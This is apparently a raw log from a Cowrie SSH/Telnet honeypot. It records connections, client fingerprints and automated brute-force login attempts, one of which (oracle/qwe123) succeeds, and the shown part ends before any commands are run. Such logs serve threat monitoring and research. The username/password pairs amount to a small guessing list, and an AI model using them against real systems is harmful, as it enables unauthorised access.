{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:28.172646Z","src_ip":"14.177.234.24","session":"514420e26985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dr147258","message":"login attempt [root/Dr147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:29.218374Z","src_ip":"14.177.234.24","session":"514420e26985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:30.474821Z","src_ip":"14.177.234.24","session":"514420e26985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49962,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbab7d84bc84","protocol":"ssh","message":"New connection: 160.187.174.22:49962 (159.203.135.109:22) [session: bbab7d84bc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:45.289014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:45.293157Z","src_ip":"160.187.174.22","session":"bbab7d84bc84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:45.528805Z","src_ip":"160.187.174.22","session":"bbab7d84bc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:46.236081Z","src_ip":"160.187.174.22","session":"bbab7d84bc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46814,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb3dd6544682","protocol":"telnet","message":"New connection: 107.6.151.170:46814 (159.203.135.109:23) [session: bb3dd6544682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:46.957370Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:47.476993Z","src_ip":"160.187.174.22","session":"bbab7d84bc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":57718,"dst_ip":"159.203.135.109","dst_port":22,"session":"46397bb6da93","protocol":"ssh","message":"New connection: 69.163.176.54:57718 (159.203.135.109:22) [session: 46397bb6da93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:58.986659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:58.990566Z","src_ip":"69.163.176.54","session":"46397bb6da93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:59.061298Z","src_ip":"69.163.176.54","session":"46397bb6da93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starknet123","message":"login attempt [root/starknet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:02:59.277331Z","src_ip":"69.163.176.54","session":"46397bb6da93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:00.350959Z","src_ip":"69.163.176.54","session":"46397bb6da93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.760826110839844,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:09.744798Z","src_ip":"170.64.224.25","session":"b445a9edce42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47216,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e9891119f5","protocol":"ssh","message":"New connection: 160.187.174.22:47216 (159.203.135.109:22) [session: b0e9891119f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:13.516461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:13.520638Z","src_ip":"160.187.174.22","session":"b0e9891119f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:13.782326Z","src_ip":"160.187.174.22","session":"b0e9891119f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:14.507221Z","src_ip":"160.187.174.22","session":"b0e9891119f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:15.747798Z","src_ip":"160.187.174.22","session":"b0e9891119f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.72572588920593,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:20.623038Z","src_ip":"170.64.224.25","session":"3295a9d04962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.885817766189575,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:38.843044Z","src_ip":"107.6.151.170","session":"bb3dd6544682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53386,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8d862e5367","protocol":"ssh","message":"New connection: 160.187.174.22:53386 (159.203.135.109:22) [session: ce8d862e5367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:41.980041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:41.983896Z","src_ip":"160.187.174.22","session":"ce8d862e5367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:42.216811Z","src_ip":"160.187.174.22","session":"ce8d862e5367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:42.922524Z","src_ip":"160.187.174.22","session":"ce8d862e5367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:44.159652Z","src_ip":"160.187.174.22","session":"ce8d862e5367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":19510,"dst_ip":"10.17.0.5","dst_port":22,"session":"882869ae3ca9","protocol":"ssh","message":"New connection: 45.148.10.152:19510 (10.17.0.5:22) [session: 882869ae3ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:52.294882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:52.302194Z","src_ip":"45.148.10.152","session":"882869ae3ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:52.383479Z","src_ip":"45.148.10.152","session":"882869ae3ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:52.741256Z","src_ip":"45.148.10.152","session":"882869ae3ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00399780273438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:55.165140Z","src_ip":"170.64.224.25","session":"b03cbb1f0497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf45e1b5e1c","protocol":"telnet","message":"New connection: 170.64.224.25:50122 (159.203.135.109:23) [session: 5bf45e1b5e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:03:55.512868Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59432,"dst_ip":"159.203.135.109","dst_port":22,"session":"622738be5abd","protocol":"ssh","message":"New connection: 160.187.174.22:59432 (159.203.135.109:22) [session: 622738be5abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:08.592118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:08.596633Z","src_ip":"160.187.174.22","session":"622738be5abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:08.843758Z","src_ip":"160.187.174.22","session":"622738be5abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:09.574163Z","src_ip":"160.187.174.22","session":"622738be5abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44288,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4665574ad4","protocol":"ssh","message":"New connection: 91.92.40.4:44288 (10.17.0.5:22) [session: af4665574ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:10.429252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:10.435591Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:10.517055Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:10.822812Z","src_ip":"160.187.174.22","session":"622738be5abd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:10.921015Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.129369Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
